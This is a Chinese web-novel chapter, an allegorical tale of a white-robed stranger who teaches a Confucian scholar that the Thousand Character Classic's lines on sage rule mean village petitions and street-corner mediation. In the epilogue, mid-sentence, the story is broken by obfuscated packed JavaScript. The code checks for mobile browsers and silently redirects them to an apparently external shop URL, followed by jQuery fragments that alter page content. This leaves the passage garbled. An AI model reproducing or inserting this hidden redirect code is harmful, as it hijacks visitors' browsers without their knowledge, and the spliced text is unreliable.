楔子·冬至问天


    冬至时节，长安城“明伦堂”前，大儒宋夫子正对数百学子开讲《千字文》大义：


    “……吊民伐罪，周发殷汤。此乃汤武革命，顺天应人。商汤伐桀，周武伐纣，皆因桀纣无道，残虐百姓，故天命革之，以安万民。坐朝问道，垂拱平章。此乃圣王临朝，垂衣拱手而天下治。君臣问对，裁决万机，政事平和，章明法度。此乃治国安邦之要，万世不易之则……”


    正讲得激昂，堂外雪地上传来清亮童谣：


    “吊民是问苦，伐罪是除害——


    周发殷汤是古人，今有街坊除霸在。


    坐朝是理事，问道是问民——


    垂拱平章是闲坐，今有乡老断纷争。


    汤武革命顺天心，天心原是民心同。


    垂拱而治不在殿，在街头巷尾中——”


    宋夫子蹙眉推门，但见堂前老槐树下，众稚童正围着一个白衣人堆雪人。白衣人坐在青石井栏上，面前摊着几样物事：一卷万民伞、一柄锈柴刀、一张破旧公案、一册泛黄调解簿。斗笠是苇篾与麻绳编就，檐边缀着几簇松针。白衣是粗棉所制，洗得泛白，肩头落着雪花。木剑插在雪中，剑穗是褪色的五色丝绦打成如意结。面上蒙着本色棉纱，只露出一双明澈如雪的眼睛，正教一个总角小童在雪地上画“正”字。


    “狂妄！”宋夫子拂袖，“吊民伐罪，乃汤武圣王；坐朝问道，乃君臣大义。尔等顽童，安敢以街坊乡老比之？”


    白衣人抬头，声音清朗如雪落竹：“老先生息怒。在下与孩童戏雪论事，正是感悟政道——问苦除害是吊伐，理事问民是坐朝。圣王之道，本在民间日用之间。”


    宋夫子冷笑：“你既敢妄议圣王，可敢入堂一论？也让诸生听听，何为真政道！”


    一、 吊民的真问


    白衣人随宋夫子入堂。堂中学子见他布衣素履，皆有轻色。白衣人从怀中展开那卷万民伞，伞面密密麻麻尽是手印。


    “先说‘吊民伐罪’。宋夫子言汤武革命，顺天应人，极是。然吊民伐罪，只在古乎？在今乎？”


    他将万民伞悬于堂柱：“此伞出自河西镇。镇有恶霸‘活阎罗’，欺行霸市，夺人田产，凌虐乡里。去岁冬至，三百乡民联名诉于邑宰。邑宰畏恶霸之势，不敢问。乡中耆老王老丈，持此伞率众围衙，高呼‘吊民伐罪’。三日，恶霸伏法。此可是吊民伐罪？”


    一锦衣学子哂笑：“乡民围衙，乃犯上作乱，岂可称吊民伐罪？吊民伐罪者，汤武圣王也。”


    “汤武之时，亦是臣伐君。”白衣人缓声道，“商汤为夏臣，周武为商臣。臣伐君，是吊民伐罪；民请官，亦是吊民伐罪。其理一也：上无道，下伐之。”


    宋夫子捻须：“然则汤武乃奉天命，乡民不过激于义愤，岂可并论？”


    “天命何在？”白衣人指向伞上手印，“三百乡民之手印，便是天命。天视自我民视，天听自我民听。民欲除害，便是天命。王老丈率民请命，是顺天应人；邑宰初时不问，是逆天悖人。顺逆之间，岂在身份？”


    他从袖中取出一叠诉状，字迹歪斜，多有指印。


    “此乃乡民诉状。有老妪诉子被殴，有寡妇诉田被占，有货郎诉货被抢。字字血泪，句句沉冤。恶霸不除，民不聊生。王老丈持伞围衙，是为民请命。此非吊民？恶霸伏法，是为民除害。此非伐罪？”


    堂中渐寂。白衣人抚伞叹道：“汤武伐桀纣，因其无道；乡民伐恶霸，因其害民。无道害民，其罪一也。吊民者，问民之苦；伐罪者，除民之害。能问苦除害者，便是吊民伐罪。不在汤武，在民心。”


    二、 伐罪的真剑


    雪愈大，堂内炭火正红。白衣人取出那柄锈柴刀，置于案上。


    “二说‘伐罪’。宋夫子言汤武革命，乃顺天应人，极是。然伐罪之器，只在干戈乎？在人心乎？”


    他将柴刀示众：“此刀乃河西镇铁匠刘三所献。刘三之女被恶霸所辱，刘三持此刀欲拼命，被王老丈拦住。老丈云：‘一人拼命，是私斗；众人除害，是伐罪。’遂收其刀，制万民伞。此刀可是伐罪之器？”


    一学子道：“柴刀岂能伐罪？伐罪当用干戈斧钺。”


    “干戈斧钺，是器；公道人心，是道。”白衣人轻抚刀锈，“刘三持刀，是私愤；王老丈制伞，是公义。私愤之刀，只能杀一人；公义之伞，可除一害。刀锈而伞成，是伐罪之道，在公不在私，在众不在独。”


    宋夫子沉吟：“然则汤武伐罪，亦动干戈。血流漂杵，岂是伞印可代？”


    “汤武动干戈，是为除大害。”白衣人正色，“恶霸为害一方，是小害；桀纣为害天下，是大害。除小害可用伞印，除大害需用干戈。然其理一也：以公义除不义。河西乡民若持刀私斗，是私杀；联名请命，是公伐。公伐者，虽无干戈，亦是伐罪。”


    他望向堂外飞雪：“昔年汤伐桀，誓于众曰：‘有夏多罪，天命殛之。’周武伐纣，誓于众曰：‘商罪贯盈，天命诛之。’皆以公义号召。河西乡民制万民伞，亦是公义凝聚。公义在心，伞可伐罪；公义在口，誓可伐罪；公义在手，干戈可伐罪。器虽有别，道实相同。”


    一寒门学子忽问：“若邑宰始终不问，乡民当如何？”


    “问得好。”白衣人目光扫过众学子，“邑宰初时不问，是畏势。王老丈率众围衙三日，是以民势抗恶势。民势聚，则官不得不问。若仍不问，则可越级上告；若皆不问……”他顿了顿，“汤武革命，便是最后之道。然此道伤国本，非万不得已不可为。故吊民伐罪，当先以伞，次以告，终以戈。伞是公议，告是公权，戈是公愤。公议公权可解，则不动公愤，方是上策。”


    三、 坐朝的真问


    白衣人移开柴刀，取出那张破旧公案。案面斑驳，四腿用麻绳绑着。


    “三说‘坐朝问道’。宋夫子言圣王临朝，君臣问对，极是。然坐朝问道，只在殿堂乎？在街巷乎？”


    他轻拍公案：“此案出自城南‘和解亭’。亭在街口，有纷争者，皆可至此，由乡老主持公道。主持者坐此案后，两造分坐左右，陈情说理。乡老问明是非，当场调解。三十年来，解纷无数。此可是坐朝问道？”


    宋夫子愕然：“街亭调解，岂可称朝？乡老决事，岂可称问？”


    “朝者，议政之所；问者，询事之谓。”白衣人缓声道，“殿堂是朝，街亭亦是朝；君王问臣是问，乡老问民亦是问。殿堂议的是天下事，街亭议的是民间事。天下事大，民间事小，然民间事不决，天下事何安？”


    一学子反驳：“然坐朝问道，问的是治国安邦之大道，非鸡毛蒜皮之小事。”


    “治国安邦大道，在何处？”白衣人问，“在税赋，在刑名，在河工，在边备。然税赋出自田亩，刑名起于纷争，河工关乎民生，边备系于民心。田亩纷争不解，税赋何来？民间争讼不平，刑名何用？街亭所解，正是税赋之基、刑名之源。此非治国安邦之道？”


    他展开调解簿，指着一行记录：“腊月初八，李四诉张三占墙基三寸。乡老往验，量地明界，判张□□归所占，李四出资共筑界墙三尺。二人服其公，和好如初。此事小乎？然墙基不定，则邻舍成仇；邻舍成仇，则乡里不宁；乡里不宁，则赋税难征，刑狱繁兴。三寸墙基，关乎一乡之治。乡老坐亭问墙，正是坐朝问道之始。”


    宋夫子捻须良久，方道：“然则……君臣问对，终究是经国大业……”


    “经国大业，起于民间琐事。”白衣人正色，“昔尧舜之时，耕者让畔，行者让路，狱讼不兴。何也？因民间自有公道。今和解亭乡老问事，正是让畔让路之遗风。民间能自解纷争，则官府刑狱可清，赋税可足，河工可兴，边备可固。此非坐朝问道之实功？”


    四、 平章的真治


    白衣人最后取出那册泛黄调解簿，翻开一页。


    “四说‘垂拱平章’。宋夫子言垂衣拱手而天下治，政事平和，章明法度，极是。然平章之治，只在庙堂乎？在乡里乎？”


    他指簿上记录：“此为和解亭三十年总录。共调解纷争三千四百余件，其中田产一千二百件，钱财九百件，口角八百件，婚姻三百件。九成当场和解，一成送官。三十年来，城南讼案，十成只占一成。此可是垂拱平章？”


    又指末页：“主持乡老凡五任，皆由街坊公推。首任赵公，卒于任上；次任钱公，老迈让贤；三任孙公，病退；四任李公，今仍主事。每任交接，皆平和无争。此可是垂拱？”


    宋夫子怔住，接过调解簿细看，良久方叹：“此真……民间平章也。”


    “平章者，平和章明也。”白衣人缓声道，“乡老问事，不偏不倚，是平和；量地明界，立字为据，是章明。民间自有平和章明，则官府可垂拱而治。若民间纷争不息，官府纵然日理万机，何能平章？”


    一学子问：“然则法度章明，终在官府。乡老调解，岂有法度？”


    “法度在人心，非在条文。”白衣人从簿中抽出一纸，“此乃和解亭规约，街坊共立。其一，事不过夜；其二，理不过三；其三，罚不过度；其四，和为本。三十年来，人人遵行。此非法度？此法度生于民间，守于民间，章明于民间，平和于民间。官府法度，正应如此。”


    他望向堂外雪中行人：“昔周公制礼，孔子作春秋，皆是章明法度。然礼不下庶人，刑不上大夫。和解亭之约，礼下庶人，刑亦明庶人。人人知约，人人守约，则纷争自平，狱讼自息。此非垂拱平章之至境？”


    宋夫子长叹：“老夫读经五十载，终日言垂拱平章，今日方知，平章在街亭，不在庙堂。”


    “庙堂街亭，其理一也。”白衣人揖道，“庙堂平章，是平天下章万民；街亭平章，是平一里章百户。无百户之平章，何来万民之平章？乡老坐亭，便是坐朝；街坊问事，便是问道；和解纷争，便是平章。此乃垂拱而治之根基。”


    五、 冬至的启示


    暮雪初霁，堂前腊梅绽蕊。白衣人邀众人至院中，石桌上已摆好冬至祭品：黍糕、羊羹、饺子、屠苏酒。


    白衣人斟酒分与众人，缓声道：“今日冬至，宋夫子教各位‘吊民伐罪，周发殷汤。坐朝问道，垂拱平章’。此十六字，是圣王之道，治国之要。”


    他指黍糕：“此糕以新黍制成，农人辛勤所得。农人苦，在赋税重，在田地被占，在恶霸欺凌。吊民者，当问此苦。”


    又指羊羹：“此羹以羔羊熬成，羔羊无罪而受烹。恶霸害民，如烹羔羊。伐罪者，当除此害。”


    再指饺子：“此饺形如元宝，寓财富。坐朝问道，当问民财富何来，纷争何起。”


    终指屠苏酒：“此酒辟邪，寓平和。垂拱平章，当使民邪不侵，平和不破。”


    宋夫子持杯在手，对诸生道：“今日这堂课，老夫添一句：吊民者，问民之苦，不在汤武在民心；伐罪者，除民之害，不在干戈在公义。坐朝者，理事之地，可在殿堂可在亭；问道者，询事之道，可问臣工可问民。垂拱者，不扰民而民自治；平章者，明法度而事自平。圣王之道，在街巷；治国之要，在民心。诸生可记下了？”


    众学子肃然长揖：“谨受教！”


    “那便饮酒吧。酒中有屠苏，可辟邪；食中有黍糕，可饱腹。辟邪以安民，饱腹以养民。安民养民，便是吊民伐罪、坐朝问道、垂拱平章之本。”


    尾声·长安和风


    自那日后，明伦堂多了一块“和”字碑。


    宋夫子仍讲学，但每讲“吊民伐罪”，必问学子：“民间可有苦？可有害？如何问？如何除？”每讲“坐朝问道，垂拱平章”，必问：“民间可有纷争？如何调解？可有规约？如何章


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230786|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明？”


    他在堂前立“和”字碑，刻白衣人当日语：


    吊民是问苦，伐罪是除害


    坐朝是理事，问道是问民


    垂拱是不扰，平章是明约


    圣王在街巷，治道在民间


    长安学子每月需访市井，问农人赋税，问商贾纠纷，问街坊调解，问乡老规约。有学子问：“此可助功名否？”宋夫子答：“功名在济世，济世在知民。不知民苦，不除民害，不理民争，不明民约，纵登高第，何益于世？”


    后来长安兴起“和解风”——每年冬至，各坊设“和解亭”，由乡老主事，调解纷争。亭中悬万民伞，置调解簿，案上刻“平章”二字。宋夫子常至各亭观礼，颂曰：“问苦是吊民，除害是伐罪，理事是坐朝，问民是问道，明约是平章。此五事，可称今之圣政。”民皆感佩。


    那白衣人再未现身，但每年冬至，长安各和解亭前，总有陌生人来献一物：或是一卷新万民伞，或是一柄旧柴刀，或是一张新公案，或是一册调解簿。献物人总说：“吊民伐罪，周发殷汤。坐朝问道，垂拱平章。圣政在民间，治道在街巷。”


    宋夫子耄耋之年，将明伦堂改为“和风书院”，中悬四物：河西镇万民伞、铁匠刘三柴刀、城南和解亭公案、三十年调解簿。自题楹联：


    问苦除害，吊民伐罪在民心


    理事明约，坐朝平章在街亭


    跋云：


    “讲经六十载，方知经在街巷。


    吊民是问苦，伐罪是除害，不在汤武在伞刀。


    坐朝是理事，问道是问民，不在殿堂在公案。


    垂拱是不扰，平章是明约，不在诏令在调解。


    白衣一点，冬至开蒙。


    从此论政先论民，言治先言和。”


    冬至之日，老儒生扶杖望雪，但见琼玉满城，寒梅吐艳。长街传来隐约童谣：


    “吊民是问苦，问寒问暖问饥饱——


    乡老入户知民情，胜过衙门千里遥。


    伐罪是除害，除霸除奸除强梁——


    万民伞下公义在，锈柴刀变平和刀。


    坐朝是理事，理田理房理口角——


    和解亭前分黑白，不须击鼓上公堂。


    问道是问民，问老问少问妇孺——


    街坊有话尽管说，乡老侧耳仔细听。


    垂拱是闲坐，平章是明约——


    约法三章人人守，长安处处是和风——”


    他捻须微笑，对雪举杯：“吊民伐罪，周发殷汤。坐朝问道，垂拱平章。此十六字，老夫解了六十年，今日方解透。透在何处？在万民伞，在锈柴刀，在公案，在调解簿。圣政在民，治道在和。民能自问，何须吊伐？民能自解，何须坐朝？民能自约，何须平章？民和，则天下和。”


    雪落长安，万籁俱寂。和风无形，化雪润物。而这润物中，有问苦，有除害，有理事，有明约，更有滚滚红尘里，寻常百姓家的公道自在、生生不息。


    本章诫世


    一、 圣政真义训


    - 吊民伐罪，周发殷汤。坐朝问道，垂拱平章


    - 破解法：论圣政者，自问“吊民吊谁？伐罪伐何？坐朝何处？问道路谁？垂拱何为？平章何物？是古之迹，是今之行，是君之责，是民之能？”


    二、 四实四用


    - 吊民伐罪——吊者问也，伐者除也。问民之苦，是吊民；除民之害，是伐罪。汤武问天下苦，除桀纣害；乡老问坊间苦，除恶霸害。其心一也，其行一也


    - 坐朝问道——朝者议政之所，道者治事之理。殿堂可坐朝，街亭亦可坐朝；问臣是问道，问民亦是问道。问在得实，道在利民


    - 垂拱平章——垂拱者，不扰也；平章者，明约也。不扰民而民自化，明约法而事自平。庙堂可垂拱，乡里亦可垂拱；诏令可平章，规约亦可平章


    - 四明：圣政在实，不在名；在用，不在迹。吊民是实问，伐罪是实除，坐朝是实理，问道是实询，垂拱是实不扰，平章是实明约。实者，民受其惠；用者，事得其平


    三、 民和政通


    - 深层隐喻：圣政如冬至阳生，看似无为，实则有功。吊民伐罪，是除阴寒；坐朝问道，是迎阳气；垂拱平章，是待春来。阴寒不除，则民苦；阳气不应，则民疑；春来不至，则民乱。除阴寒在问苦除害，迎阳气在理事问民，待春来在不扰明约。问苦除害，则民不苦；理事问民，则民不疑；不扰明约，则民不乱。民不苦、不疑、不乱，则和风自生，圣政自成


    - 终极指向：世人论政，易入歧途：以吊伐为征诛，不知在问苦除害；以坐朝为殿堂，不知在理事问民；以垂拱为无为，不知在不扰明约。真圣政在乡老入户，在万民联名，在街亭调解，在坊约公议。民间能自问、自除、自理、自约，则何须汤武？何须殿堂？何须诏令？民和，则政通；民治，则国治


    冬至政道偈：


    冬至长安明伦堂，宋夫子讲圣政道。


    吊民伐罪坐朝平章，字字珠玑句句经。


    白衣雪地说故事，吊民是问苦伐罪是除害。


    坐朝是理事问道是问民，圣政在民间治道在和。


    从此论政先论民，圣王原在和解亭。


    后世叹：


    吊民伐罪是问除，不在汤武在民心。


    坐朝问道是理询，不在殿堂在街亭。


    垂拱平章是不扰，不在诏令在规约。


    宋夫子讲经重庙堂，白衣说政重民间。


    从此圣政在街巷，治道原是和风中。


    正是：


    冬至长安说圣政，明伦堂前论治道。


    吊民伐罪坐朝平章，字字千钧句句理。


    白衣雪地说故事，圣政是民用和是道。


    从此论道先论民，治道自在街巷中。